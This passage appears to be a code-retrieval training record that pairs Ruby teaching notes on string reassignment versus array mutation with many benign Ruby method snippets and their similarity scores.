#{p2}\"\n\n \t\nend", "def diffObject(num)\n\tputs (\"#{num.object_id}\")\n\tnum=num+2\n\tputs (\"#{num.object_id}\")\n\treturn num\nend", "def baz\r\n bar\r\n a = 1.1\r\n foo {\r\n a + 1.5\r\n }\r\nend", "def reset_positions_inside\n @atoms.each do |atom|\n coords = atom.position\n atom.set_position(coords.map {|coord| coord - coord.floor}.to_a.to_v3di)\n end\n end", "def chasing_squirrels(dogs)\n dogs.map! do |individual_dog|\n individual_dog[:position] += 5\n individual_dog\n end\n return dogs\nend", "def each\n @job = block = (block_given? ? Proc.new : @job)\n each_set do |records|\n records.each do |record|\n block.call(record)\n @current_id = record.send(@id_field)\n end\n end\n cleanup\n end", "def second_test_local_variables\n value = 5\n another_value = 10\n puts local_variables\n addition_of_values = value + another_value\n puts addition_of_values \nend", "def test_reassign_all_values\n @sudoku_1.rows = @c_sudoku_1_rows\n @sudoku_1.reassign()\n assert_equal(@c_sudoku_1.rows, @sudoku_1.rows)\n assert_equal(@c_sudoku_1.columns, @sudoku_1.columns)\n assert_equal(@c_sudoku_1.squares, @sudoku_1.squares)\n end", "def block_swap(a, d)\n n = a.length\n if n > 0\n\n if d >= n\n d %= n\n end\n\n if d == 0\n return a\n end\n\n if d == n - d\n swap(a, 0, d, d)\n end\n\n i = d\n j = n - d\n\n while(i != j)\n if i < j\n swap(a, d-i, d+j-i, i)\n j -= i\n else\n swap(a, d-i, d, j)\n i -= j\n end\n end\n\n swap(a, d-i, d, i)\n end\n\n return a\nend", "def test_delete_middle_with_holes\n # first we check everything is at expected place\n assert_equal [1, 2, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)\n\n # then we create a hole in the list, say you're working with existing data in which you already have holes\n # or your scope is very complex\n ListMixin.delete(2)\n\n # we ensure the hole is really here\n assert_equal [1, 3, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)\n assert_equal 1, ListMixin.find(1).pos\n assert_equal 3, ListMixin.find(3).pos\n assert_equal 4, ListMixin.find(4).pos\n\n # can we retrieve lower item despite the hole?\n assert_equal 3, ListMixin.find(1).lower_item.id\n\n # can we move an item lower jumping more than one position?\n ListMixin.find(1).move_lower\n assert_equal [3, 1, 4], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)\n assert_equal 2, ListMixin.find(3).pos\n assert_equal 3, ListMixin.find(1).pos\n assert_equal 4, ListMixin.find(4).pos\n\n # create another hole\n ListMixin.delete(1)\n\n # can we retrieve higher item despite the hole?\n assert_equal 3, ListMixin.find(4).higher_item.id\n\n # can we move an item higher jumping more than one position?\n ListMixin.find(4).move_higher\n assert_equal [4, 3], ListMixin.find(:all, :conditions => 'parent_id = 5', :order => 'pos').map(&:id)\n assert_equal 2, ListMixin.find(4).pos\n assert_equal 3, ListMixin.find(3).pos\n end", "def method(obj)\n a = 1\n obj\nend", "def assign_teams_in_bracket(num_rooms, teams, sorted_chairs, sorted_wings, rooms, round, format)\n\t\t teams_left = teams.count; #we start with all teams in bracket left\n\t\t teams.shuffle(); #important to shuffle the bracket\n\n\t\t #THIS IS WHERE WE NEED LOGIC TO PLACE GROUPS OF TEAMS WHICH HAVE COMPLIMENTARY POSITION PREFERENCES\n\n\t\t while(teams_left > 0) #while teams left to allocate\n\t\t assign_room_for_bracket(num_rooms, \n\t\t \t\t\t\t\t\t\t\tteams.pop(GlobalConstants::FORMAT[format][:num_teams_per_room]), \n\t\t \t\t\t\t\t\t\t\tsorted_chairs, sorted_wings, rooms, round, format); #do a room assignment\n\t\t teams_left = teams_left - GlobalConstants::FORMAT[format][:num_teams_per_room]; #lost n teams to room\n\t\t end\n\t\t end", "def refer_to_foo\r\n puts foo # unlike block, method cannot access its context\r\nend" ]
[ "0.85584706", "0.8490439", "0.8487586", "0.8486221", "0.84691197", "0.8432147", "0.84219897", "0.83987194", "0.8285628", "0.82119274", "0.8198322", "0.8198322", "0.8159351", "0.8132582", "0.81028837", "0.8030159", "0.7863753", "0.7202289", "0.60042584", "0.5388814", "0.5331117", "0.5289554", "0.5255041", "0.52346516", "0.51664877", "0.5094333", "0.503649", "0.50299114", "0.49834692", "0.49002972", "0.48577031", "0.48380056", "0.48340166", "0.46815223", "0.46472755", "0.46432313", "0.4627403", "0.4594183", "0.45668346", "0.4495733", "0.448189", "0.44387388", "0.4415921", "0.43993637", "0.4373687", "0.43537515", "0.43508923", "0.43503854", "0.43191916", "0.43143123", "0.4303932", "0.4301991", "0.43001443", "0.428434", "0.428434", "0.428434", "0.428434", "0.428434", "0.428434", "0.428434", "0.428434", "0.428434", "0.428434", "0.42772564", "0.42682198", "0.42585602", "0.42500275", "0.42378342", "0.42378342", "0.42316175", "0.42303556", "0.4228147", "0.42192346", "0.4218101", "0.42179352", "0.42170194", "0.42170194", "0.42169625", "0.42099482", "0.4205193", "0.41994092", "0.41964775", "0.4182643", "0.41783762", "0.41782448", "0.41707832", "0.4167429", "0.41667733", "0.4160645", "0.41518262", "0.4148369", "0.4141568", "0.41402057", "0.41383985", "0.41246036", "0.4122817", "0.4107965", "0.4102183", "0.40960702", "0.4090186", "0.4089818" ]
0.0
-1
=> My array looks like this now: ["pumpkins", "rutabaga"] The difference lies in what Ruby does when the program executes either a String+= operation or an Array<< operation. The string operation is reassignment and CREATES A NEW STRING OBJECT. The reference to this new object is placed in the internal variable of the method, and the method considers this new string object to be the one true string. It has forgotten about the one that was passed in now. That old stale parameter string is still remembered by the caller of the method...but the method itself has forgotten all about it. With the array, one array object can have any number of elements. When we attach an additional element to an array using the << operator, Ruby simply keeps using the same object that was passed in, and appends the new element to it. So, because the method's array variable still points to the original object, the caller's array variable and the method's array variable are still pointing at the same object, and we see the results of what happened to the array "outside" of the method. Question 4
def tricky_method_two(a_string_param, an_array_param) a_string_param.gsub!('pumpkins', 'rutabaga') an_array_param = ['pumpkins', 'rutabaga'] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_to_array(arr, str) # define a method with an array and a string\n new_array = arr << str # create a new array with the array and add the string\n \n p new_array\n \nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # string is mutated\n an_array_param = ['pumpkins', 'rutabaga'] # array is reassigned, hence not mutated\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # modifies existing variable\n an_array_param = ['pumpkins', 'rutabaga'] # new variable -> no effect on my_array\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n # Appends the given object to str/original object\n an_array_param = ['pumpkins', 'rutabaga']\n # Assigns a new object to local variable an_array_param (but not my_array)\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # Mutating the string\n an_array_param = ['pumpkins', 'rutabaga'] # Re-assigning a new array\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n # += is an assignment method, this means\n # ruby has created a new object with the name \"a_string_param\".\n # It does not point at the same object as \"my_string\"\n # the value of \"a_string_param\" is going to be the value of \"a_string_param\"\n # with the string literal \"rutabaga\" appended to it.\n # my_string is not altered\n an_array_param << \"rutabaga\"\n # << is a mutating method.\n # this means an_array_param and my_array are pointing at the same object\n # both before and after the method call.\n # This means when an_array_param is changed, it also changes my_array\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\" # reassignment doesn't mutate the caller\n an_array_param << \"rutabaga\" # push or << mutate the caller\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\" #re-assignment and creates a new string object. (doesn't have scope to change the string that was passed)\n an_array_param << \"rutabaga\" # uses the object that was passed in and appends 'rutabaga'\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param << \"rutabaga\" #originally +=. shovel operator modifies original object. \n an_array_param << \"rutabaga\" #(\"mutates the caller)\"\nend", "def using_push(array, string)\n array = array.push(string)\n \nend", "def add_to_array(array, item)\n\tarray += [item]\n\tp array\nend", "def add_to_array(arr, a)\r\n\treturn_array = arr\r\n\treturn_array << a\r\nend", "def tricky_method(new_string, an_array_param)\n new_string += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def using_push(array, str)\n array.push(str)\nend", "def using_push(array, str)\n array.push(str)\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\" # Doesn't modify the caller\n an_array_param << \"rutabaga\" # It modifies the caller\nend", "def using_push (array, string)\n return array.push(string)\nend", "def using_push(array, string)\n array.push(string)\nend", "def using_push(array, string)\n array.push(string)\nend", "def using_push(array, string)\n array.push(string)\nend", "def using_push(array, string)\n array.push(string)\nend", "def add_to_array!(array, item)\n array << item\nend", "def using_push(array, string)\n return array.push(string)\nend", "def tricky_method(my_string_param, an_array_param)\n puts \"my_string_param inside the method #{my_string_param.object_id}\"\n my_string_param += \"rutabaga\"\n puts \"my_string_param inside the method after re-assignment #{my_string_param.object_id}\"\n puts\n puts \"an_array_param inside the method before mutation #{an_array_param.object_id}\"\n an_array_param << \"rutabaga\"\n puts \"an_array_param inside the method after mutation #{an_array_param.object_id}\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\" # += reassigns the value of a variable and is not destructive\n an_array_param << \"rutabaga\" # shovel operator (actually a method) is destructive and modifies the caller\nend", "def append(array,input)\n array << input\n return array\nend", "def using_push(arr, string)\n arr.push(string)\nend", "def add_broccoli(array)\n array << \"broccoli\"\n puts array\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # \"pumpkinsrutabaga\"\n an_array_param = ['pumpkins', 'rutabaga'] # [\"pumpkins\", \"rutabaga\"]\nend", "def add_to_array(array, item)\n array << item\nend", "def add_item(elective_array, item)\n elective_array.push(item)\n puts elective_array\nend", "def add_ay(array)\n array.push(\"ay\")\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\" # \"pumpkinsrutabaga\"\n an_array_param << \"rutabaga\" # [\"pumpkins\", \"rutabaga\"]\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n an_array_param = ['pumpkins', 'rutabaga']\nend", "def not_very_tricky_method(a_string_param, an_array_param)\r\n a_string_param += \"rutabaga\"\r\n an_array_param << \"rutabaga\"\r\nend", "def add_rutabaga_to_array(an_array_param)\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\n p a_string_param.object_id # 60\n p an_array_param.object_id # 80\nend", "def double_array(array)\n array + array\nend", "def push_elements_into_array(array, new_element)\n array.push new_element\nend", "def tricky_method(a_string_param, an_array_param)\r\n a_string_param += \"rutabaga\"\r\n an_array_param << \"rutabaga\"\r\nend", "def tricky_method(a_string_param, an_array_param)\r\n a_string_param += \"rutabaga\"\r\n an_array_param << \"rutabaga\"\r\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += 'rutabaga'\n an_array_param << 'rutabaga'\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\n end", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def add_to_ary_modified(ary,elt)\n\tary << elt\n\tputs \"#{elt} is now in your array.\"\n\tary\nend", "def add_rutabaga_to_string_and_array(str, ary)\n str << \"rutabaga\"\n ary << \"rutabaga\"\nend", "def tricky_method(a_string_param, an_array_param)\n a_string_param += \"rutabaga\"\n an_array_param << \"rutabaga\"\n\nend", "def append(arr, char)\n output_arr = arr + [char]\n return output_arr\nend", "def funify(array)\n array << \"fun\"\nend", "def append_rutabaga!(a_string_param, an_array_param)\n a_string_param << \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def append(array,num)\n output = array\n output << num\nreturn output\nend", "def end_arr_add(arr, element)\n # Add `element` to the end of the Array variable `arr` and return `arr`\n arr.push(element)\n return arr\nend", "def added(array)\nend", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n an_array_param = ['pumpkins', 'rutabaga']\n p a_string_param.object_id # 260\n p an_array_param.object_id # 300\nend", "def my_array_modification_method(source, thing_to_modify)\n len = source.length; # find the number of elements in the array\n # for each element in the array see if it is a string\n 0.upto(len - 1) do |loc|\n # if the element is NOT a string, add thing_to_modify to it\n if source[loc].is_a?(String) === false\n source[loc] += thing_to_modify\n end\n end\n return source\nend", "def we_can_add_things(x)\n array = [ 1, 2, 3]\n array.push(x)\nend", "def add_to_array(arr, value)\n arr.push(value)\nend", "def append(target_array, value_to_append)\n target_array << value_to_append\nend", "def tricky_method!(a_string_param, an_array_param)\n a_string_param << \"rutabaga\"\n an_array_param << \"rutabaga\"\nend", "def add_element_to_end_of_array(array, element)\n array << element \nend", "def awesomesauce(string_array)\n awesome_array = []\n string_array.each do |i|\n awesome_array << i\n awesome_array << 'awesomesauce'\n end\n awesome_array.pop\n return awesome_array\nend", "def push_elements_into_array(arr, ele)\n arr.push(ele)\n arr\nend", "def add_element_to_end_of_array(array, element)\n array << element\nend", "def add_to_array(x, y)\n combined_array = x\n combined_array.push(y)\nend", "def append(arr, number)\n arr << number\n return arr\nend", "def add_bang(array)\n # TODO: Take an array of strings and return a new array with \"!\" appended to each string.\n # You should use Enumerable#map\n array.map do |element|\n element+\"!\"\n end\nend", "def double_array(array)\n array.concat(array)\nend", "def mutliplied(array)\nend", "def append(arr, num)\n return arr << num\nend", "def append(arr, num)\n return arr << num\nend", "def append(arr, num)\n return arr << num\nend", "def add_item(array, item)\n\tarray << item\nend" ]
[ "0.7908559", "0.7704699", "0.7660736", "0.7588562", "0.7561635", "0.7549969", "0.75400543", "0.74593014", "0.74494094", "0.74483365", "0.7358352", "0.7337991", "0.7195996", "0.7166476", "0.7166476", "0.7156666", "0.7140999", "0.71262753", "0.71262753", "0.71262753", "0.71262753", "0.7124787", "0.7119895", "0.7065529", "0.7027489", "0.6995944", "0.69834334", "0.6973247", "0.6958094", "0.69559807", "0.69389933", "0.69177425", "0.68869317", "0.6823733", "0.6823733", "0.6823733", "0.6823733", "0.6823733", "0.68224376", "0.6779439", "0.6761955", "0.67229444", "0.6691119", "0.6669431", "0.6669431", "0.66574997", "0.6637792", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.6637714", "0.66372305", "0.66293406", "0.6624349", "0.6600735", "0.6598694", "0.6597944", "0.6581546", "0.65718746", "0.6560901", "0.6519333", "0.65178174", "0.64984673", "0.6489699", "0.64895487", "0.6469033", "0.64419955", "0.64213675", "0.6409815", "0.6398207", "0.6301272", "0.62923133", "0.6288053", "0.6287813", "0.6270442", "0.626897", "0.62676", "0.62676", "0.62676", "0.6264792" ]
0.0
-1
=> My array looks like this now: ["pumpkins"] With the Array= assignment, our literal ['pumpkins', 'rutabaga'] array IS a new object, and we are setting the internal array variable equal to that new array literal object. Question 5 How could the unnecessary duplication in this method be removed?
def color_valid(color) if color == "blue" || color == "green" true else false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mutliplied(array)\nend", "def replace_with_flat_array(array)\n begin\n array = vash_validate_flat_array(array)\n rescue Puppet::Util::PTomulik::Vash::VashArgumentError => err\n raise err.class, err.to_s\n end\n hash = Hash[*array]\n # On 1.8 using 'super' breaks rspec tests :(.\n self.class.superclass.instance_method(:replace).bind(self).call(hash)\n self\n end", "def initialize array\n @array = array\n end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga'\n # Appends the given object to str/original object\n an_array_param = ['pumpkins', 'rutabaga']\n # Assigns a new object to local variable an_array_param (but not my_array)\nend", "def assigner(array)\n yield(array)\nend", "def create_an_array\n [\"oranges\",\"apples\",\"kiwis\",\"mangos\"]\nend", "def initialize_dup( hooked_array_dup )\n \n super\n \n hooked_array_dup.internal_array = hooked_array_dup.internal_array.dup\n\n end", "def airports_normal\n return Array.new\n end", "def initialize arr = []\n super arr\n end", "def array_map\n grades=[\"A\",\"B\",\"C\",\"D\",\"F\"] # this is the orignal array \n grades.map {|grade| grade + \"?\" } # this creates a new array with the original objects\n # and adds a ! to each element\nend", "def initialize(new_array)\n\t\t@list = new_array\n\tend", "def replace_with_flat_array(array)\n begin\n array = vash_validate_flat_array(array)\n rescue Puppet::Util::PTomulik::Vash::VashArgumentError => err\n raise err.class, err.to_s\n end\n hash = Hash[*array]\n self.class.superclass.instance_method(:replace).bind(self).call(hash)\n self\n end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # Mutating the string\n an_array_param = ['pumpkins', 'rutabaga'] # Re-assigning a new array\nend", "def company_array(arr)\n companies_array = []\n arr.each {|comp| companies_array << comp }\n companies_array \nend", "def assign_littles(little_array)\n if little_array\n littles = []\n little_array.split(\",\").each do | element |\n littles << element.to_i unless element == \"null\" || element == \"new\"\n end\n self.little_ids = littles\n end\n end", "def double_array(array)\n # your code here\nend", "def test_array_literals\n array = Array.new\n assert_equal [], array\n\n array[0] = 1\n assert_equal [1], array\n\n array[1] = 2\n assert_equal [1, 2], array\n\n array << 333\n assert_equal [1, 2, 333], array\n end", "def double_array(array)\n array + array\nend", "def initialize\n @more_array = Array.new\n end", "def name_array(name1, name2)\n real_name_array = [name1, name2]\n real_name_array\nend", "def initialize array_of_items\n\tend", "def initialize\n @array = []\n end", "def double_array(array)\n array.concat(array)\nend", "def converted_arrays; end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # modifies existing variable\n an_array_param = ['pumpkins', 'rutabaga'] # new variable -> no effect on my_array\nend", "def using_push(array, string)\n array = array.push(string)\n \nend", "def initialize_clone( hooked_array_clone )\n \n super\n \n hooked_array_clone.internal_array = hooked_array_clone.internal_array.clone\n \n end", "def instantiate_new_array\n<<<<<<< HEAD\n Array.new\nend", "def some_array_methods\n teachers = ['James', 'Jim', 'Adriana']\n # p teachers.first\n # p teachers.last\n # p teachers.sample\n # reverse_teachers = teachers.reverse\n # teachers.delete_at(0)\n # p teachers.index('aldskjflskdjf')\n teachers.insert(0 , 'Angie')\n # p teachers.count do |name|\n # name == 'Jim'\n # end\n # p teachers.length\n # p teachers\n # teachers.each do |teacher|\n # p teacher\n # end\n new_teachers = teachers.map do |teacher|\n teacher += ' is a teacher.'\n end\n p new_teachers\nend", "def initialize; @ary = []; end", "def mix_names(girls_array, boys_array)\n b_i = 0 \n boys_array.length.times do \n girls_array << boys_array[b_i]\n b_i += 1 \n end \n output = girls_array\n return output\nend", "def _array(obj)\n obj.map { |v| _renc(v) }\n end", "def initialize(array)\n @array = array\n end", "def fixed_array\n reformated_array.map! do |element|\n element.join(\", \").split(\", \")\n end \nend", "def cast_array\n <<-CODE\n t1 = stack_pop();\n if(REFERENCE_P(t1) && object_kind_of_p(state, t1, global->tuple)) {\n t1 = array_from_tuple(state, t1);\n } else if(!REFERENCE_P(t1) || !object_kind_of_p(state, t1, global->array)) {\n t2 = array_new(state, 1);\n array_set(state, t2, 0, t1);\n t1 = t2;\n }\n stack_push(t1);\n CODE\n end", "def tricky_method_two(a_string_param, an_array_param)\n a_string_param << 'rutabaga' # string is mutated\n an_array_param = ['pumpkins', 'rutabaga'] # array is reassigned, hence not mutated\nend", "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each{|elem| @internal_arr.push(elem)}\n\n unless input_arr.empty? == true\n input_arr.replace(input_arr.sort)\n \n\n end\n \n\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n end", "def new_with_progenitor array\n iter_ary = IterableArray.new array\n iter_ary.take_progenitor @progenitor\n iter_ary\n end", "def kesha_maker(array)\n kesha_array = []\n i = 0\n array.each do |name|\n kesha_array.push(name[2] = \"$\")\n end\nend", "def add_to_array!(array, item)\n array << item\nend", "def beer(arr, x, y)\n build = Array.new \n arr << x << y \nend", "def array_with_two_elements\n @my_two_array = Array.new(2)\nend", "def assign_rooms(array)\n new_array = []\n counter = 1\n array.each do |name|\n new_array.push(\"Hello, #{name}! You'll be assigned to room #{counter}!\")\n counter += 1\nend\n return new_array\nend", "def replace_array(match_array, replace_arry)\n array = []\n match_array\n self.each_index{|i|\n if self[i].eql?(match_array.first) and self.slice(i, match_array.count).eql?(match_array)\n array.concat self.first(i)\n array.concat replace_arry\n array.concat self.drop(i + match_array.count)\n break\n end\n }\n array = self if array.empty?\n array\n end", "def assign_rooms(names_array)\n room_assignments_array = []\n\n names_array.each_with_index { | name, index |\n room_assignments_array.push(room_assignment_maker(name, index))\n }\n\n room_assignments_array\nend", "def __array__; self; end", "def make_array\n [@name, @author, @deviation_url, @views, @favs, @comments]\n end", "def build_array(it1, it2, it3)\n\tnew_array = [it1, it2, it3]\n\tp new_array\nend", "def assignation_array() \n array = []\n \n count = self.assignation_count()\n #puts \"COUNT: #{count}\".yellow.on_black\n for i in 0..(count-1)\n #puts \"ADD element\".yellow.on_black\n array << self.assignation(i)\n end\n \n array\n end", "def choose_pokemon(pokemon_array)\n pokemons << pokemon_array\n end", "def initialize\n @a = Array.new(3){Array.new(3){Array.new(3)}}\n end", "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each {|ele| add ele}\n\n # Fill in the rest of the initialize method here.\n \n # What should you do with each element of the incoming array?\n end", "def create_new_players_moves_array\n player_moves = Array.new(2) { Array.new }\n player_moves[0] = @data[0].dup\n player_moves[1] = @data[1].dup\n return player_moves\n end", "def array_concat(array_1, array_2)\n\tour_array = array_1\n\tarray_2.each do |newguy|\n\t\tour_array.push(newguy)\n\tend\n return our_array\nend", "def initialize(planets_array)\n @planets = planets_array\n end", "def populate(array)\n clear\n array.each do |element|\n self.add element \n end\n end", "def studentArray(value)\n @students = Array.new unless defined? @students\n # \n if value.is_a?(Array)\n value.each{|student| @students << student}\n else\n @students << value\n end\nend", "def change_resistant_for_each_element(array)\n copy =Array.new(array)\n i=0\n while i<copy.length\n copy[i]=array[i]\n i +=1\n end\n copy\nend", "def kesha_maker(array)\n new_array = []\n array.each do |key|\n new_array = key[2] = \"$\"\n end\nend", "def test_array_copy_is_returned\n party = Party.new([Character.new(BLANK_RACE), Character.new(BLANK_RACE)])\n\n length = party.length\n characters = party.characters\n assert_equal(length, characters.length, \"The returned array length should be the same size as the party size\")\n\n characters << Character.new(BLANK_RACE)\n refute_equal(characters.length, party.length, \"Should not be able to add characters to the party directly\")\n end", "def add_to_array(arr, str) # define a method with an array and a string\n new_array = arr << str # create a new array with the array and add the string\n \n p new_array\n \nend", "def assign_rooms(array)\n\tempty_array = []\n\tarray.each_with_index do |value, index|\n\t\tempty_array << \"Hello, #{value}! You'll be assigned to room #{index + 1}!\"\n\tend\n\treturn empty_array\nend", "def translate_array(array)\n array.each_with_object([]) do |input_element, output_array|\n output_element = self.map(input_element)\n if output_element.kind_of? Array\n output_array.concat output_element\n elsif ! output_element.nil?\n output_array << output_element\n end\n end\n end", "def add_rutabaga_to_array(an_array_param)\n an_array_param << \"rutabaga\"\nend", "def initialize(array:)\n @array = array\n super()\n end", "def add_to_array(array, item)\n\tarray += [item]\n\tp array\nend", "def initialize(array)\n @array = array\n end", "def create_copy(arr)\n copy = []\n arr.each { |e| copy.unshift(e) }\n copy\nend", "def assignment(arr)\n yield(arr)\nend", "def collect(result_array)\n collection = result_array.collect { |item| new(item)}\n result_array.replace(collection)\n result_array\n end", "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each{|new_ele| add new_ele} # PLEASE EXPLAIN IN SECTION\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n end", "def initialize\n @bets = Array.new()\n end", "def converted_arrays\n @converted_arrays ||= Set.new\n end", "def add_to_array(arr, a)\r\n\treturn_array = arr\r\n\treturn_array << a\r\nend", "def initialize(shelf, book)\n @shelf = shelf\n @book = book\n @@array << self\nend", "def build_sample\n sample = Array.new(8) {Array.new(8)}\n sample[0][0] = King.new(0, 0, 0)\n sample[7][7] = King.new(7, 7, 1)\n sample[0][4] = Rook.new(0, 4, 1)\n sample[4][0] = Rook.new(4, 0, 1)\n sample[4][4] = Bishop.new(4, 4, 1)\n sample\nend", "def another; return []; end", "def awesomesauce(string_array)\n awesome_array = []\n string_array.each do |i|\n awesome_array << i\n awesome_array << 'awesomesauce'\n end\n awesome_array.pop\n return awesome_array\nend", "def resolve_array(array)\n pot_o_data = [] #Holds the previously seen values\n \n array.each do |item|\n i = 0\n \n # Removes duplicate values\n while i < item[1].length\n if pot_o_data.include? item[1][i]\n item[1].delete_at(i)\n else\n pot_o_data << item[1][i]\n i += 1\n end\n end\n end\n \n # Removes items with empty values and removes the uniq values counter\n i = 0\n while i < array.length\n if array[i][1].empty?\n array.delete_at(i)\n else\n array[i] = [array[i][0], array[i][1]]\n i += 1\n end\n end\n end", "def build_array\n arr = []\n yield(arr)\n arr \n end", "def poorly_written_ruby(*arrays)\n \n # create an empty combined array\n combined_array = []\n \n # for each array in the arrays object, add it to the combined array\n arrays.each do |array|\n combined_array += array\n end\n\n return combined_array\nend", "def grapher(array)\n hash = Hash.new { |hash, key| hash[key] = [] }\n array.each do |pair|\n hash[pair[0]] ||= []\n hash[pair[0]] << pair[1]\n end\n hash\nend", "def deep_dup(arr)\n duper_arr = arr.dup.map { |item| item * 1 }\nend", "def set_gladiator(name)\ngladiator_array=[]\ngladiator=name.get_gladiator\ngladiator.to_s\ngladiator_array.push(gladiator)\nreturn gladiator_array\nend", "def add_to_array(var1, *others)\n\tcurrent_arr = [var1, *others]\n\tcurrent_arr = current_arr.flatten\n\tp current_arr\nend", "def initialize\n @exact = []\n @list = []\n end", "def push_to_array_jeff(original_array, new_item)\n # I think this is my best\n\n # make new_array that's one item longer than original\n original_length = original_array.length\n new_array = [nil] * (original_length + 1)\n # add all original items to new_array\n original_array.each_with_index do |val, idx|\n new_array[idx] = val\n end \n # make new_item the last element of new_array\n new_array[original_length] = new_item\n return new_array\nend", "def saved_for_special_occasion(array)\n puts array[2]\nend", "def initialize(array = [])\n raise ArgumentError, 'New set must be given an array' unless array.class == Array\n \n 